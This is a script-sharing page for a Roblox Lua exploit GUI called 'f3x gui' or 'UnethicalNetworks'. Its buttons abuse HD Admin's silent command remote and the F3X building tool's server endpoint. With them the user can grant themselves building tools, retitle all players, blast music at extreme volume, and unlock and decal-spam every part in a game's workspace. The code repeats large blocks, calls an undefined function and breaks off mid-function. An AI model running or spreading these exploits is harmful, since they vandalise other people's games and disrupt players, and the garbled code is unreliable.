f3x gui
Key RequiredUniversal

f3x gui

Universal ScriptxxGodWhyxxxxGodWhyxx 1.1K views 152 executesUpdated Jan 18, 2026
2.5/ 5(2 votes)
1150% Positive
Lua Script•1858 lines (46666 chars)
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

-- ==== GUI====
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "UnethicalNetworks GUI"
screenGui.Parent = playerGui

-- ==== Flame====
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 420, 0, 450)  
mainFrame.Position = UDim2.new(0, 350, 0, 100)
mainFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui

-- ====title====
local titleBar = Instance.new("TextLabel")
titleBar.Size = UDim2.new(1, 0, 0, 45)
titleBar.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
titleBar.TextColor3 = Color3.new(1, 1, 1)
titleBar.Text = "UnethicalNetworksi v3 F3x"
titleBar.Font = Enum.Font.GothamBold
titleBar.TextSize = 20
titleBar.Parent = mainFrame

-- ==== scroll ====
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Size = UDim2.new(1, 0, 1, -45)
scrollFrame.Position = UDim2.new(0, 0, 0, 45)
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollFrame.ScrollBarThickness = 6
scrollFrame.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
scrollFrame.Parent = mainFrame

-- ==== ====
local grid = Instance.new("UIGridLayout")
grid.Parent = scrollFrame
grid.SortOrder = Enum.SortOrder.LayoutOrder
grid.CellPadding = UDim2.new(0, 10, 0, 10)

local frameWidth = mainFrame.Size.X.Offset
local padding = 10
local columns = 3
local cellWidth = (frameWidth - padding * (columns + 1)) / columns

grid.CellSize = UDim2.new(0, cellWidth, 0, 40)

-- CanvasSize
grid:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
	scrollFrame.CanvasSize = UDim2.new(0, 0, 0, grid.AbsoluteContentSize.Y + 20)
end)

------------------------------------------------------
--Setting
------------------------------------------------------
local buttonsConfig = {
	{Text = "F3X", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";btools me")
	end},
	{Text = "sky", Func = function() --[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool

		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end

		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end

		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end

		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end

		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end

		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end

		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end

		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end

		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end

		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
			_(args)
		end

		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end

		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
		end

		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end

		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end

		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end

		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end

		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end

		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)
		end

		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end

		function Sky(id)
			local root = char:WaitForChild("HumanoidRootPart")
			local pos = root.CFrame + Vector3.new(0, 6, 0)
			CreatePart(pos, workspace)
			task.wait(0.2)
			local skyPart
			for _, v in workspace:GetChildren() do
				if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
					skyPart = v
					break
				end
			end
			if skyPart then
				SetName(skyPart, "Sky")
				AddMesh(skyPart)
				SetMesh(skyPart, "111891702759441")
				SetTexture(skyPart, id)
				MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
				SetLocked(skyPart, true)
				SetAnchor(true, skyPart)
			end
		end

		Sky("72535504010771")

	end},
	{Text = "Decal spam", Func = function() --[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RunService = game:GetService("RunService")
		local player = Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()

		-- Find the SyncAPI tool
		local tool

		local function findSyncAPITool()
			for _, v in pairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
			for _, v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
		end

		tool = findSyncAPITool()
		if not tool then
			warn("SyncAPI tool not found!")
			return
		end

		-- Remote Function
		local remote = tool.SyncAPI.ServerEndpoint
		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		-- ====== Core Functions ======

		-- Part Manipulation
		local function SetCollision(part, boolean)
			invoke({ "SyncCollision", { { Part = part, CanCollide = boolean } } })
		end

		local function SetAnchor(part, boolean)
			invoke({ "SyncAnchor", { { Part = part, Anchored = boolean } } })
		end

		local function CreatePart(cf, parent)
			invoke({ "CreatePart", "Normal", cf, parent })
		end

		local function DestroyPart(part)
			invoke({ "Remove", { part } })
		end

		local function MovePart(part, cf)
			invoke({ "SyncMove", { { Part = part, CFrame = cf } } })
		end

		local function Resize(part, size, cf)
			invoke({ "SyncResize", { { Part = part, Size = size, CFrame = cf } } })
		end

		local function AddMesh(part)
			invoke({ "CreateMeshes", { { Part = part } } })
		end

		local function SetMesh(part, meshId)
			invoke({ "SyncMesh", { { Part = part, MeshId = "rbxassetid://" .. meshId } } })
		end

		local function SetTexture(part, texId)
			invoke({ "SyncMesh", { { Part = part, TextureId = "rbxassetid://" .. texId } } })
		end

		local function SetName(part, name)
			invoke({ "SetName", { part }, name })
		end

		local function MeshResize(part, size)
			invoke({ "SyncMesh", { { Part = part, Scale = size } } })
		end

		local function Weld(part1, part2, lead)
			invoke({ "CreateWelds", { part1, part2 }, lead })
		end

		local function SetLocked(part, boolean)
			invoke({ "SetLocked", { part }, boolean })
		end

		local function SetTransparency(part, transparency)
			invoke({ "SyncMaterial", { { Part = part, Transparency = transparency } } })
		end

		-- Lighting & Color
		local function CreateSpotlight(part)
			invoke({ "CreateLights", { { Part = part, LightType = "SpotLight" } } })
		end

		local function SyncLighting(part, brightness)
			invoke({ "SyncLighting", { { Part = part, LightType = "SpotLight", Brightness = brightness } } })
		end

		local function SetColor(part, color)
			invoke({ "SyncColor", { { Part = part, Color = color, UnionColoring = false } } })
		end

		-- Decals & Textures
		local function SpawnDecal(part, face)
			invoke({ "CreateTextures", { { Part = part, Face = face, TextureType = "Decal" } } })
		end

		local function AddDecal(part, assetId, face)
			invoke({ "SyncTexture", { { Part = part, Face = face, TextureType = "Decal", Texture = "rbxassetid://" .. assetId } } })
		end

		-- Spam function: applies a decal on all parts in workspace
		local function SpamDecal(assetId)
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v, false)
						for _, face in pairs(Enum.NormalId:GetEnumItems()) do
							SpawnDecal(v, face)
							AddDecal(v, assetId, face)
						end
					end)
				end
			end
		end

		-- Spam a decal on all workspace parts
		SpamDecal("72535504010771") end},
	{Text = "World tour", Func = function() --[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool

		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end

		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end

		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end

		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end

		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end

		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end

		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end

		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end

		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end

		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
			_(args)
		end

		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end

		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
		end

		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end

		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end

		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end

		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end

		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end

		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)
		end

		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end

		function Sky(id)
			local root = char:WaitForChild("HumanoidRootPart")
			local pos = root.CFrame + Vector3.new(0, 6, 0)
			CreatePart(pos, workspace)
			task.wait(0.2)
			local skyPart
			for _, v in workspace:GetChildren() do
				if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
					skyPart = v
					break
				end
			end
			if skyPart then
				SetName(skyPart, "Sky")
				AddMesh(skyPart)
				SetMesh(skyPart, "111891702759441")
				SetTexture(skyPart, id)
				MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
				SetLocked(skyPart, true)
				SetAnchor(true, skyPart)
			end
		end

		Sky("129440088616536")

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RunService = game:GetService("RunService")
		local player = Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()

		-- Find the SyncAPI tool
		local tool

		local function findSyncAPITool()
			for _, v in pairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
			for _, v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
		end

		tool = findSyncAPITool()
		if not tool then
			warn("SyncAPI tool not found!")
			return
		end

		-- Remote Function
		local remote = tool.SyncAPI.ServerEndpoint
		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		-- ====== Core Functions ======

		-- Part Manipulation
		local function SetCollision(part, boolean)
			invoke({ "SyncCollision", { { Part = part, CanCollide = boolean } } })
		end

		local function SetAnchor(part, boolean)
			invoke({ "SyncAnchor", { { Part = part, Anchored = boolean } } })
		end

		local function CreatePart(cf, parent)
			invoke({ "CreatePart", "Normal", cf, parent })
		end

		local function DestroyPart(part)
			invoke({ "Remove", { part } })
		end

		local function MovePart(part, cf)
			invoke({ "SyncMove", { { Part = part, CFrame = cf } } })
		end

		local function Resize(part, size, cf)
			invoke({ "SyncResize", { { Part = part, Size = size, CFrame = cf } } })
		end

		local function AddMesh(part)
			invoke({ "CreateMeshes", { { Part = part } } })
		end

		local function SetMesh(part, meshId)
			invoke({ "SyncMesh", { { Part = part, MeshId = "rbxassetid://" .. meshId } } })
		end

		local function SetTexture(part, texId)
			invoke({ "SyncMesh", { { Part = part, TextureId = "rbxassetid://" .. texId } } })
		end

		local function SetName(part, name)
			invoke({ "SetName", { part }, name })
		end

		local function MeshResize(part, size)
			invoke({ "SyncMesh", { { Part = part, Scale = size } } })
		end

		local function Weld(part1, part2, lead)
			invoke({ "CreateWelds", { part1, part2 }, lead })
		end

		local function SetLocked(part, boolean)
			invoke({ "SetLocked", { part }, boolean })
		end

		local function SetTransparency(part, transparency)
			invoke({ "SyncMaterial", { { Part = part, Transparency = transparency } } })
		end

		-- Lighting & Color
		local function CreateSpotlight(part)
			invoke({ "CreateLights", { { Part = part, LightType = "SpotLight" } } })
		end

		local function SyncLighting(part, brightness)
			invoke({ "SyncLighting", { { Part = part, LightType = "SpotLight", Brightness = brightness } } })
		end

		local function SetColor(part, color)
			invoke({ "SyncColor", { { Part = part, Color = color, UnionColoring = false } } })
		end

		-- Decals & Textures
		local function SpawnDecal(part, face)
			invoke({ "CreateTextures", { { Part = part, Face = face, TextureType = "Decal" } } })
		end

		local function AddDecal(part, assetId, face)
			invoke({ "SyncTexture", { { Part = part, Face = face, TextureType = "Decal", Texture = "rbxassetid://" .. assetId } } })
		end

		-- Spam function: applies a decal on all parts in workspace
		local function SpamDecal(assetId)
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v, false)
						for _, face in pairs(Enum.NormalId:GetEnumItems()) do
							SpawnDecal(v, face)
							AddDecal(v, assetId, face)
						end
					end)
				end
			end
		end

		-- Spam a decal on all workspace parts
		SpamDecal("129440088616536")

	end},
	{Text = "UN", Func = function() local Players = game:GetService("Players")

		-- ==== Music====
local success, errorMessage = pcall(function()
    local player = game.Players.LocalPlayer
    local tool
    for i, v in player:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
            break
        end
    end
    if not tool then
        for i, v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
                break
            end
        end
    end
    if not tool then
        return
    end
    local remote = tool.SyncAPI.ServerEndpoint
    function _(args)
        remote:InvokeServer(unpack(args))
    end
    function CreatePart(cf, parent)
        _({"CreatePart", "Normal", cf, parent})
    end
    function MovePart(part, cf)
        _({"SyncMove", {{["Part"] = part, ["CFrame"] = cf}}})
    end
    function AddDecal(part, asset, side)
        _({"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://"..asset}}})
    end
    function SpawnDecal(part, side)
        _({"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}})
    end
    function SetTransparency(part, value)
        _({"SyncMaterial", {{["Part"] = part, ["Transparency"] = value}}})
    end
    function Resize(part, size, cf)
        _({"SyncResize", {{["Part"] = part, ["CFrame"] = cf, ["Size"] = size}}})
    end
    function SetAnchor(part, boolean)
        _({"SyncAnchor", {{["Part"] = part, ["Anchored"] = boolean}}})
    end
    function DestroyPart(part)
        _({"Remove", {part}})
    end
    local DECAL_ID = "129440088616536"
    local allSmokes = {}
    local smokeCount = 0
    local UNIFORM_SIZE = Vector3.new(3, 3, 0.01)
    local allObjects = {}
    for _, obj in pairs(workspace:GetDescendants()) do
        if obj:IsA("BasePart") then
            if player.Character and obj:IsDescendantOf(player.Character) then
            else
                table.insert(allObjects, obj)
            end
        end
    end
    for _, obj in pairs(workspace:GetDescendants()) do
        if obj:IsA("Model") then
            if player.Character and obj:IsDescendantOf(player.Character) then
            else
                table.insert(allObjects, obj)
            end
        end
    end
    function getObjectPosition(obj)
        if obj:IsA("BasePart") then
            return obj.Position
        elseif obj:IsA("Model") and obj.PrimaryPart then
            return obj.PrimaryPart.Position
        elseif obj:IsA("Model") then
            local pos = Vector3.new(0, 0, 0)
            local count = 0
            for _, part in pairs(obj:GetDescendants()) do
                if part:IsA("BasePart") then
                    pos = pos + part.Position
                    count = count + 1
                end
            end
            if count > 0 then
                return pos / count
            end
        end
        return nil
    end
    spawn(function()
        while true do
            if smokeCount < 150 then
                local smokePos
                local isPlayerSmoke = false
                if math.random(1, 10) <= 3 and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
                    local playerPos = player.Character.HumanoidRootPart.Position
                    local angle = math.random() * 2 * math.pi
                    local radius = math.random(8, 25)
                    smokePos = Vector3.new(
                        playerPos.X + math.cos(angle) * radius,
                        playerPos.Y + math.random(2, 6),
                        playerPos.Z + math.sin(angle) * radius
                    )
                    isPlayerSmoke = true
                elseif #allObjects > 0 then
                    local randomObj = allObjects[math.random(1, #allObjects)]
                    if randomObj then
                        local objPos = getObjectPosition(randomObj)
                        if objPos then
                            local angle = math.random() * 2 * math.pi
                            local radius = math.random(5, 20)
                            smokePos = Vector3.new(
                                objPos.X + math.cos(angle) * radius,
                                objPos.Y + math.random(1, 8),
                                objPos.Z + math.sin(angle) * radius
                            )
                            isPlayerSmoke = false
                        end
                    end
                end
                if smokePos then
                    CreatePart(CFrame.new(smokePos), workspace)
                    wait(0.05)
                    for _, obj in pairs(workspace:GetChildren()) do
                        if obj:IsA("BasePart") and (obj.Position - smokePos).Magnitude < 2 then
                            Resize(obj, UNIFORM_SIZE, obj.CFrame)
                            SetAnchor(obj, true)
                            SetTransparency(obj, 0.5)
                            for _, face in pairs({Enum.NormalId.Front, Enum.NormalId.Back}) do
                                SpawnDecal(obj, face)
                                AddDecal(obj, DECAL_ID, face)
                            end
                            smokeCount = smokeCount + 1
                            local smokeData = {
                                smoke = obj,
                                startPos = smokePos,
                                speed = math.random(30, 80) / 10,
                                time = 0,
                                life = 0,
                                startY = smokePos.Y,
                                swayX = math.random(-5, 5),
                                swayZ = math.random(-5, 5),
                                isPlayerSmoke = isPlayerSmoke
                            }
                            table.insert(allSmokes, smokeData)
                            break
                        end
                    end
                end
            end
            for i = #allSmokes, 1, -1 do
                local data = allSmokes[i]
                if data.smoke and data.smoke.Parent then
                    data.time = data.time + 0.1
                    data.life = data.life + 0.1
                    local riseY = data.time * data.speed
                    local swayX = math.sin(data.time * 6) * data.swayX
                    local swayZ = math.cos(data.time * 5) * data.swayZ
                    local newPos = Vector3.new(
                        data.startPos.X + swayX + math.random(-0.5, 0.5),
                        data.startY + riseY,
                        data.startPos.Z + swayZ + math.random(-0.5, 0.5)
                    )
                    local newCF = CFrame.new(newPos)
                    MovePart(data.smoke, newCF)
                    if data.life > 2.5 then
                        local fade = (data.life - 2.5) / 1.5
                        if fade < 1 then
                            SetTransparency(data.smoke, 0.5 + fade * 0.5)
                        else
                            DestroyPart(data.smoke)
                            table.remove(allSmokes, i)
                            smokeCount = smokeCount - 1
                        end
                    end
                else
                    table.remove(allSmokes, i)
                    smokeCount = smokeCount - 1
                end
            end
            wait(0.05)
        end
    end)
end)
if not success then
end

		-- ==== GUI====


		--
		createMusicGUI()

		-- 
		player.CharacterAdded:Connect(function()
			createMusicGUI()
		end) end},
	{Text = "title", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";titley me UnethicalNetworks!!") end}, {Text = "title2", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";titley all UnethicalNetworks") end}, {Text = "Music", Func = function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";Music 99731755429975 ;volume 99999999")

	end}, {Text = "World tour", Func = function()  --[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool

		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end

		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end

		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end

		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end

		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end

		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end

		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end

		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end

		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end

		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end

		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
			_(args)
		end

		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end

		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
		end

		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end

		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end

		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end

		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end

		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end

		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)
		end

		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end

		function Sky(id)
			local root = char:WaitForChild("HumanoidRootPart")
			local pos = root.CFrame + Vector3.new(0, 6, 0)
			CreatePart(pos, workspace)
			task.wait(0.2)
			local skyPart
			for _, v in workspace:GetChildren() do
				if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
					skyPart = v
					break
				end
			end
			if skyPart then
				SetName(skyPart, "Sky")
				AddMesh(skyPart)
				SetMesh(skyPart, "111891702759441")
				SetTexture(skyPart, id)
				MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
				SetLocked(skyPart, true)
				SetAnchor(true, skyPart)
			end
		end

		Sky("129440088616536")

--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RunService = game:GetService("RunService")
		local player = Players.LocalPlayer
		local character = player.Character or player.CharacterAdded:Wait()

		-- Find the SyncAPI tool
		local tool

		local function findSyncAPITool()
			for _, v in pairs(player:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
			for _, v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					return v.Parent
				end
			end
		end

		tool = findSyncAPITool()
		if not tool then
			warn("SyncAPI tool not found!")
			return
		end

		-- Remote Function
		local remote = tool.SyncAPI.ServerEndpoint
		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		-- ====== Core Functions ======

		-- Part Manipulation
		local function SetCollision(part, boolean)
			invoke({ "SyncCollision", { { Part = part, CanCollide = boolean } } })
		end

		local function SetAnchor(part, boolean)
			invoke({ "SyncAnchor", { { Part = part, Anchored = boolean } } })
		end

		local function CreatePart(cf, parent)
			invoke({ "CreatePart", "Normal", cf, parent })
		end

		local function DestroyPart(part)
			invoke({ "Remove", { part } })
		end

		local function MovePart(part, cf)
			invoke({ "SyncMove", { { Part = part, CFrame = cf } } })
		end

		local function Resize(part, size, cf)
			invoke({ "SyncResize", { { Part = part, Size = size, CFrame = cf } } })
		end

		local function AddMesh(part)
